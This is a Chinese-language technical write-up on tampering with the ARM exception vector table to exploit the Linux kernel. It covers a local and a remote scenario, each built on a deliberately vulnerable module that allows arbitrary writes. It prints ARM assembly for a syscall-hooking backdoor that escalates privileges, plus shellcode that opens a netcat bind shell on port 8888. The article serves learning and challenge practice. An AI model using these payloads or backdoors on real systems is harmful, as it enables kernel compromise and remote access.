ARM异常向量表篡改技术解析

本文详细分析了ARM架构中异常向量表(EVT)的结构及其在内核漏洞利用中的应用,包括本地和远程攻击场景,通过篡改EVT实现权限提升和代码执行的技术细节。

篡改ARM异常向量表

引言

几个月前,我在尝试学习内核漏洞利用时,编写了一个基于ARM的Linux内核漏洞利用挑战,并决定深入探索一些技术细节。选择ARM架构主要是因为我觉得研究它会很有趣。本文将描述在攻击者拥有任意写原语的情况下,ARM异常向量表(EVT)如何辅助内核漏洞利用。文章将涵盖本地利用场景和远程利用场景。请注意,篡改EVT的方法在论文"Vector Rewrite Attack"[1]中已有提及,该论文简要讨论了如何在ARM RTOS上的空指针解引用漏洞中使用它。

文章分为两个主要部分。首先简要描述ARM EVT及其从漏洞利用角度的含义(请注意,为了保持文章相对简短,将省略关于EVT的许多细节)。我们将通过两个示例展示如何滥用EVT。

我假设读者熟悉Linux内核漏洞利用,并了解一些ARM汇编(真的)。

目录

  • 引言
  • ARM异常和异常向量表
    • 异常
    • 异常向量表
    • 关于未定义指令异常的说明
  • 篡改EVT
    • 本地场景
      • 漏洞利用
    • 远程场景
      • 漏洞利用
    • 额外内容:中断栈溢出
  • 关于所有这些的一些事项
  • 最后的话
  • 参考文献

ARM异常和异常向量表

简而言之,EVT在ARM中的地位就像IDT在x86中一样。在ARM世界中,异常是导致CPU停止或暂停执行当前指令集的事件。当发生异常时,CPU将执行转移到称为异常处理程序的另一个位置。有7种异常类型,每种异常类型都与一种操作模式相关联。操作模式影响处理器在系统资源方面的"权限"。总共有7种操作模式。下表将一些异常类型映射到它们相关的操作模式:

异常 模式 描述
快速中断请求 FIQ 需要快速响应和低延迟的中断。
中断请求 IRQ 用于通用中断处理。
软件中断或复位 监管模式 操作系统的保护模式。
预取或数据中止 中止模式 当从无效/未映射的内存获取数据或指令时。
未定义指令 未定义模式 当执行未定义的指令时。

另外两种模式是用户模式(自解释)和系统模式(操作系统的特权用户模式)。

异常

异常会改变处理器模式,每个异常都可以访问一组banked寄存器。这些可以被描述为仅存在于异常上下文中的一组寄存器,因此修改它们不会影响另一个异常模式的banked寄存器。不同的异常模式有不同的banked寄存器:

异常向量表

向量表是一个实际包含控制转移指令的表,这些指令跳转到相应的异常处理程序。例如,当引发软件中断时,执行转移到表中的软件中断条目,该条目又将跳转到系统调用处理程序。为什么EVT是如此有趣的目标?嗯,因为它被加载到内存中的已知地址,并且是可写*和可执行的。在32位ARM Linux上,这个地址是0xffff0000。EVT中的每个条目也位于已知偏移量,如下表所示:

异常 地址
复位 0xffff0000
未定义指令 0xffff0004
SWI 0xffff0008
预取中止 0xffff000c
数据中止 0xffff0010
保留 0xffff0014
IRQ 0xffff0018
FIQ 0xffff001c

关于未定义指令异常的说明

覆盖未定义指令向量似乎是个好主意,但实际上并不是,因为它被内核使用。硬浮点和软浮点是两种允许模拟浮点指令的解决方案,因为许多ARM平台没有硬件浮点单元。使用软浮点,模拟代码在编译时添加到用户空间应用程序。使用硬浮点,内核让用户空间应用程序使用浮点指令,就像CPU支持它们一样,然后使用未定义指令异常在内核中模拟指令。

如果你想了解更多关于EVT的信息,请查看本文底部的参考文献,或谷歌它。

篡改EVT

为了获得特权代码执行,我们可以使用几个向量。显然,覆盖表中的任何向量都可能导致代码执行,但作为懒惰的人,让我们尝试做最少的工作。最容易覆盖的似乎是软件中断向量。它在进程上下文中执行,系统调用通过那里,一切都很好。现在让我们通过一些PoC/示例。所有以下示例都在运行于qemu中的Debian 7 ARMel 3.2.0-4-versatile上测试。

本地场景

示例漏洞模块实现了一个字符设备,该设备具有非常明显的任意写漏洞(或者是一个功能?):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// 当在设备文件上完成'write'系统调用时调用
static ssize_t on_write(struct file *filp,const char *buff,size_t len,loff_t *off)
{
    size_t siz = len;
    void * where = NULL;
    char * what = NULL;

    if(siz > sizeof(where))
        what = buff + sizeof(where);
    else
        goto end;

    copy_from_user(&where, buff, sizeof(where));
    memcpy(where, what, sizeof(void *));

end:
    return siz;
}

基本上,利用这个很酷且现实的漏洞,你给模块一个地址,后跟要写入该地址的数据。

现在,我们的计划是通过用跳转到我们后门代码的代码覆盖SWI异常向量来后门内核。这段代码将检查寄存器中的魔术值(比如r7,它保存系统调用号),如果匹配,将提升调用进程的权限。我们在哪里存储这个后门代码?考虑到我们具有对内核内存的任意写入,我们可以将其存储在用户空间或内核空间的某个地方。后一种选择的好处是,如果我们选择内核空间中的适当位置,我们的代码将在机器运行时一直存在,而前一种选择是,一旦我们的用户空间应用程序退出,代码就丢失了,如果EVT中的条目没有设置回其原始值,它很可能指向无效/未映射的内存,这将使系统崩溃。所以我们需要一个在内核空间中可执行和可写的位置。这可能在哪里?让我们仔细看看EVT:

正如预期的那样,我们看到一堆控制转移指令,但关于它们我们注意到的一件事是"最接近"的引用地址是0xffff0200。让我们看看EVT结束和0xffff0200之间有什么:

看起来那里什么都没有,所以我们有大约480字节来存储我们的后门,这绰绰有余。

漏洞利用

重述我们的漏洞利用:

  1. 将我们的后门存储在0xffff0020。
  2. 用跳转到0xffff0020的分支覆盖SWI异常向量。
  3. 当发生系统调用时,我们的后门将检查r7 == 0xb0000000,如果为真,则提升调用进程的权限,否则跳转到正常的系统调用处理程序。

这是后门的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
;检查魔术值
    cmp     r7, #0xb0000000
    bne     exit

elevate:
    stmfd   sp!,{r0-r12}

    mov     r0, #0
    ldr     r3, =0xc0049a00     ;prepare_kernel_cred
    blx     r3
    ldr     r4, =0xc0049438     ;commit_creds
    blx     r4

    ldmfd   sp!, {r0-r12, pc}^  ;返回到用户态

;转到系统调用处理程序
exit:
    ldr     pc, [pc, #980]      ;转到正常的swi处理程序

你可以在这里找到漏洞模块和漏洞利用的完整代码。运行漏洞利用:

远程场景

对于这个示例,我们将使用一个具有与之前类似漏洞的netfilter模块:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if(ip->protocol == IPPROTO_TCP){
    tcp = (struct tcphdr *)(skb_network_header(skb) + ip_hdrlen(skb));
    currport = ntohs(tcp->dest);
    if((currport == 9999)){
        tcp_data = (char *)((unsigned char *)tcp + (tcp->doff * 4));
        where = ((void **)tcp_data)[0];
        len = ((uint8_t *)(tcp_data + sizeof(where)))[0];
        what = tcp_data + sizeof(where) + sizeof(len);
        memcpy(where, what, len);
    }
}

就像之前的示例一样,这个模块有一个很棒的功能,允许你向任何地方写入数据。连接到tcp/9999端口,只需给它一个地址,后跟数据的大小和要写入的实际数据。在这种情况下,我们还将通过覆盖SWI异常向量和后门内核来后门内核。代码将跳转到我们的shellcode,我们也将如之前的示例一样,将其存储在0xffff020。覆盖SWI向量在这个远程场景中尤其是一个好主意,因为它将允许我们从中断上下文切换到进程上下文。所以我们的后门将在具有后备进程的上下文中执行,我们将能够"劫持"这个进程并用bind shell或connect back shell覆盖其代码段。但让我们不要那样做。让我们快速检查一些东西:

你看到了吗,除此之外,EVT是一个共享内存段。它可以从用户态执行,并从内核态写入*。与其覆盖进行系统调用的进程的代码段,不如将我们的代码存储在EVT中,就在我们的第一阶段之后,然后返回到那里。

每个系统调用都通过SWI向量,所以我们不必等待太久就能让进程落入我们的陷阱。

漏洞利用

我们的漏洞利用过程:

  1. 将我们的第一阶段和第二阶段shellcode存储在0xffff0020(一个接一个)。
  2. 用跳转到0xffff0020的分支覆盖SWI异常向量。
  3. 当发生系统调用时,我们的第一阶段shellcode将链接寄存器设置为我们的第二阶段shellcode的地址(也存储在EVT中,并将从用户态执行),然后返回到用户态。
  4. 调用进程将在我们的第二阶段地址"恢复执行",这只是一个bind shell。

这是阶段1-2的shellcode:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
stage_1:
    adr     lr, stage_2
    push    {lr}
    stmfd   sp!, {r0-r12}
    ldr     r0, =0xe59ff410     ; 0xffff0008的初始值,即
                                ; ldr     pc, [pc, #1040] ; 0xffff0420
    ldr     r1, =0xffff0008
    str     r0, [r1]
    ldmfd   sp!, {r0-r12, pc}^  ; 返回到用户态

stage_2:
    ldr     r0, =0x6e69622f     ; /bin
    ldr     r1, =0x68732f2f     ; /sh
    eor     r2, r2, r2          ; 0x00000000
    push    {r0, r1, r2}
    mov     r0, sp

    ldr     r4, =0x0000632d     ; -c\x00\x00
    push    {r4}
    mov     r4, sp

    ldr     r5, =0x2d20636e
    ldr     r6, =0x3820706c
    ldr     r7, =0x20383838     ; nc -lp 8888 -e /bin//sh
    ldr     r8, =0x2f20652d
    ldr     r9, =0x2f6e6962
    ldr     r10, =0x68732f2f

    eor     r11, r11, r11
    push    {r5-r11}
    mov     r5, sp
    push    {r2}

    eor     r6, r6, r6
    push    {r0,r4,r5, r6}
    mov     r1, sp
    mov     r7, #11
    swi     0x0

    mov     r0, #99
    mov     r7, #1
    swi     0x0

你可以在这里找到漏洞模块和漏洞利用的完整代码。运行漏洞利用:

额外内容:中断栈溢出

似乎中断栈在大多数内存布局中与EVT相邻。如果存在类似栈溢出的情况,谁知道会发生什么有趣的事情?

关于所有这些的一些事项

  • 本文讨论的技术假设攻击者具有内核地址的知识,但情况可能并非总是如此。
  • 我们存储shellcode的位置(0xffff0020)可能会或可能不会被另一个发行版的内核使用。
  • 我在这里编写的示例代码仅仅是PoC;它们肯定可以改进。例如,在远程场景中,如果发现被劫持的进程是init进程,那么在我们从bind shell退出后,盒子将崩溃。
  • 如果你没有注意到,这里提出的"漏洞"并不是真正的漏洞,但这不是本文的重点。

*:似乎EVT可以映射为只读,因此在较新/某些版本的Linux内核中可能不可写。

最后的话

除其他外,grsec通过使页面只读来防止修改EVT。

如果你想玩一些有趣的内核挑战,请查看w3challs上的"kernelpanic"分支。

干杯,@amatcama

参考文献

[1] Vector Rewrite Attack [2] Recent ARM Security Improvements [3] Entering an Exception [4] SWI handlers [5] ARM Exceptions [6] Exception and Interrupt Handling in ARM

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计